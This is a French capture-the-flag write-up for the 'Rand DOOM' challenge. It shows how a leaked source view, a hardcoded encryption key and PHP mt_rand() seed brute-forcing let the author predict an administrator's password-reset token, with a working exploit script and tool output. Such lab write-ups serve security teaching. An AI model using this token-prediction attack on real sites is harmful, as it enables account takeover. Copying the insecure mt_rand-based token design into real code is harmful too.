Description
Rand DOOM
Description: Do you think this password recovery is safe?
Resolution
Nous arrivons sur un site light avec que 2 menus, un pour s’identifier, l’autre pour récupérer son mot de passe.
En demandant le mot de passe, un message nous indiquant que le token de régénération expire au bout de 10 minutes ainsi qu’un id de transaction nous est délivré, mais celui-ci semble ne servir à rien (pour le moment :)).
Après avoir testé quelques injections habituelles infructueuses, un petit coup d’oeil au code source de la page d’identification nous donne un détail croustillant :
<div id="navbar" class="navbar-collapse collapse"> <ul class="nav navbar-nav"> <li><a href="?option=login">Login</a></li> <li><a href="?option=recovery">Password Recovery</a></li> <!-- <li><a href="?option=highlight">Source Code</a></li> // remove from production --> </ul> </div>
Comment ça « à enlever en production » ? On dirait bien que le développeur ne l’a pas fait. Voyons voir ce que cela donne en utilisant cette option highlight :
<?php namespace RandomChallenge; include('functions.php'); function generate_token() { $key = ''; do { $key .= chr(mt_rand()); $key = preg_replace('/[^\w]/', '', $key); } while(strlen($key) < 60); return $key; } function option() { global $option; switch ($option) { case 'request_token': $id = bin2hex( mcrypt_encrypt( MCRYPT_RIJNDAEL_128, "\x9c\xa3\xea\x44\xe0\x48\xcd\xb8\xb6\x1f\x2a\xbb\x37\x6d\x6c\xb9\x86\x7a\xfb\x1f\x40\xbd\xf8\x57\xa3\x56\x6a\xc1\x38\x4a\xdf\xc1", mt_rand(), MCRYPT_MODE_ECB ) ); request_token($_POST['username'], generate_token(), $id); break; case 'reset_password': reset_password($_GET['username'], $_GET['token']); break; case 'check_login': check_login($_POST['username'], $_POST['password']); break; case 'recovery': password_recovery(); break; default: login(); break; } } header(); option(); footer();
Nous avons ici la fonction generate_token()
qui génère une chaine de caractères imprimables aléatoires et un joli code qui crypte le retour de la fonction mt_rand()
. Très certainement utilisée pour générer l’id de transaction vu lors de la demande de réinitialisation du password.
C’est bien beau tout ça, mais comme tout est généré aléatoirement, comment on peut faire ?
Ici la vulnérabilité c’est que nous avons la clé pour décrypter l’id de transaction, qui contient notre valeur aléatoire.
Et avec la valeur retournée par mt_rand()
, on peut bruteforcer sa seed afin de nous retrouver dans le même contexte que quand la fonction generate_token()
est appelée et donc prévoir son retour !
Plutôt que de réinventer la roue, nous avons utilisé cet outil pour bruteforcer la seed et un petit script en php pour automatiser le process :
<?php function generate_token() { $key = ''; do { $key .= chr(mt_rand()); $key = preg_replace('/[^\w]/', '', $key); } while(strlen($key) < 60); return $key; } $id = '9a6d7fb315400d5321624b0cacab47ea'; // id de transaction $rand = mcrypt_decrypt( MCRYPT_RIJNDAEL_128, "\x9c\xa3\xea\x44\xe0\x48\xcd\xb8\xb6\x1f\x2a\xbb\x37\x6d\x6c\xb9\x86\x7a\xfb\x1f\x40\xbd\xf8\x57\xa3\x56\x6a\xc1\x38\x4a\xdf\xc1", pack('H*', $id), // Conversion de l'id de transaction en binaire MCRYPT_MODE_ECB ); // valeur de mt_rand() $bf = shell_exec('./php_mt_seed '.$rand); preg_match_all('#seed = (\d+)#', $bf, $regs); foreach ($regs[1] as $seed) { mt_srand($seed); echo $seed.' : '.generate_token().PHP_EOL; }
Au bout de quelques secondes, les résultats tombent :
Found 2, trying 4261412864 - 4294967295, speed 49614773 seeds per second 2188691082 : A7oERJVxdmP9YHaIdUWvwTSl9ZWnGzIoaAij6okO_2rJZ2H56F_isXZeKARW 3123438417 : PYHbdgYu5BzRyY_30jnUVOrhC3CQ6ScRRLzGJQXofIc5jThgak8GSkufLttn
On se rend alors sur la page de réinitialisation de password avec le token fraîchement obtenu :
http://ctfchallenges.ctf.site:10000/randoom/?option=reset_password&username=administrator&token=A7oERJVxdmP9YHaIdUWvwTSl9ZWnGzIoaAij6okO_2rJZ2H56F_isXZeKARW
Cool ça fonctionne ! Il n’y a plus qu’a se loguer avec le password retourné pour obtenir le flag.
Le flag est : EKO{seeding_haxors_for_fun_and_profit}